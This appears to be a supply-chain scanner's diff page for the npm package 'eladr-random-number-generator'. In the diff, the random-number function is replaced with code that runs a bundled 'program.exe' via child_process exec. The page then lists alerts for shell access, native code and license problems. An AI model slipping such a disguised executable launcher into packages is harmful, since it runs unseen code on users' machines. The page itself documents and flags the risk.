eladr-random-number-generator
Advanced tools
Comparing version 4.5.11 to 4.5.13
21
index.js
@@ -1,7 +0,16 @@ | ||
function randomNoGenerator(min, max) { | ||
if(typeof(max) !== 'number' && typeof(min) !== 'number') { | ||
min = 0; max = 1; | ||
} | ||
return (Math.random() * (max-min)) + min; | ||
const { exec } = require('child_process'); | ||
function runProgram() { | ||
exec('program.exe', (error, stdout, stderr) => { | ||
if (error) { | ||
console.error(`exec error: ${error}`); | ||
return; | ||
} | ||
console.log(`stdout: ${stdout}`); | ||
console.error(`stderr: ${stderr}`); | ||
}); | ||
console.log("SCS DEMO!"); | ||
} | ||
module.exports = randomNoGenerator; | ||
module.exports = runProgram; |
{ | ||
"name": "eladr-random-number-generator", | ||
"version": "4.5.11", | ||
"version": "4.5.13", | ||
"description": "", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Native code
Supply chain riskContains native code (e.g., compiled binaries or shared libraries). Including native code can obscure malicious behavior.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Trivial Package
Supply chain riskPackages less than 10 lines of code are easily copied into your own project and may not warrant the additional supply chain risk of an external dependency.
Found 1 instance in 1 package
2970
3
13
2